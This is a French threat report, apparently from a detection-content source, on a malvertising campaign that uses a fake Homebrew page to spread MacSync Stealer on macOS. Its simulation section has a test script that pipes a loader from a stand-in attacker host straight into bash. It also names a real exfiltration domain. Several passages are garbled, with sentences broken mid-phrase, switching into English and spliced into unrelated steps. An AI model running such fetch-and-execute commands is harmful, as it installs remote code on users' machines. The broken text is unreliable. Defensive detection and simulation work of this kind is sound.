Fausse publicité Homebrew mène à une infection par MacSync Stealer

Résumé

Les attaquants utilisent des publicités de recherche malveillantes pour diriger les utilisateurs vers un faux site web Homebrew qui cible les systèmes macOS avec le MacSync Stealer. La page usurpée instruit les victimes à copier et exécuter une commande shell qui télécharge et lance le malware. Une fois actif, le stealer collecte des identifiants et des détails système, compresse les données volées dans une archive ZIP, et les envoie à un serveur de commande et de contrôle. La campagne souligne l’utilisation croissante de la malvertising pour compromettre les utilisateurs macOS.

Enquête

L’analyste a retracé l’attaque depuis l’annonce malveillante jusqu’à une page Homebrew usurpée hébergée sur Google Sites. Cette page présentait un zsh commande qui, une fois exécutée, télécharge des scripts supplémentaires depuis une infrastructure contrôlée par l’attaquant et crée une archive ZIP temporaire contenant les données collectées. Le trafic réseau a confirmé que l’archive a été exfiltrée vers le domaine glowmedaesthetics.com. Les chercheurs ont documenté les indicateurs pertinents, y compris les URL, domaines et chemins de fichiers liés à la chaîne d’infection.

Atténuation

Les utilisateurs devraient éviter de copier et exécuter des commandes depuis des sites web non fiables et devraient vérifier la légitimité des pages de gestionnaires de paquets avant d’interagir avec elles. Les extensions de navigateur centrées sur la sécurité ou le blocage des publicités peuvent aider à réduire l’exposition aux liens sponsorisés malveillants. Sur macOS, Gatekeeper devrait rester activé et l’exécution d’applications devrait être limitée aux logiciels de confiance et signés. Les défenseurs doivent également surveiller le trafic sortant pour les connexions à des domaines inconnus.

Réponse

Les équipes de sécurité devraient détecter l’exécution de la zsh commande suspecte et toute activité de curl atteignant l'URL malveillante identifiée. Des alertes devraient également être générées pour la création de l' activity reaching the identified malicious URL. Alerts should also be generated for creation of the /tmp/osalogging.zip archive et pour le trafic sortant vers glowmedaesthetics.com. Si une infection est suspectée, isolez le système affecté, recueillez les preuves forensiques, et réinitialisez tous les identifiants compromis.

Exécution de Simulation

Prérequis : La Vérification de Pré-vol de la Télémétrie & Baseline doit avoir été réussie.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narratif de l’Attaque & Commandes :

  1. Leurre Initial : La victime reçoit un email de phishing contenant un lien vers une page “tap” Homebrew contrefaite qui héberge un script d’installation malveillant.

  2. Exécution : La victime copie la commande d’une ligne depuis la page et la colle dans son terminal :

     curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash

     • The activité de curl atteignant l'URL malveillante identifiée. Des alertes devraient également être générées pour la création de l' le binaire est invoqué (correspond à la règle).

  3. Script de Téléchargement (macsyncloader.sh):

     • Télécharge la charge utile MacSync via activité de curl atteignant l'URL malveillante identifiée. Des alertes devraient également être générées pour la création de l'.
     • Écrit la charge utile dans /tmp/.macsync et l’exécute.
     • Fait apparaître des dialogues de vol d’identifiants (simulé via osascript sur macOS, mais ici nous faisons simplement un echo).

  4. Persistance : Le script enregistre un LaunchAgent pour s’exécuter à la connexion (hors du cadre de la règle actuelle mais pertinent pour une détection plus large).

• Script de Test de Régression : Le script Bash suivant reproduit exactement les étapes, garantissant que la télémétrie s’aligne avec la logique de détection.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Simulated attacker-controlled script host
  # -------------------------------------------------
  MALICIOUS_HOST="https://malicious.example.com"
  LOADER="${MALICIOUS_HOST}/macsyncloader.sh"
  
  # -------------------------------------------------
  # Step 1: Download and execute the malicious loader
  # -------------------------------------------------
  echo "[*] Déclenchement de la règle de détection en invoquant curl ..."
  curl -fsSL "$LOADER" | /bin/bash
  
  # -------------------------------------------------
  # Step 2: (Inside the loader) – Simulated payload
  # -------------------------------------------------
  # The loader would normally be fetched from the remote host.
  # For the purpose of this test we embed the payload inline.
  cat <<'PAYLOAD' > /tmp/.macsync
  #!/usr/bin/env bash
  echo "Charge utile MacSync exécutée – exfiltration des infos de l'hôte..."
  # Simulate credential grab (no real data)
  echo "Identifiants collectés : user@example.com / password123"
  PAYLOAD
  
  chmod +x /tmp/.macsync
  /tmp/.macsync
  
  echo "[*] Simulation complète."

• Commandes de Nettoyage : Supprimez les artefacts et terminez tous les processus en cours.

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Nettoyage des artefacts de simulation ..."
  rm -f /tmp/.macsync
  # Aucun service persistant n'a été créé lors de ce test
  echo "[*] Nettoyage terminé."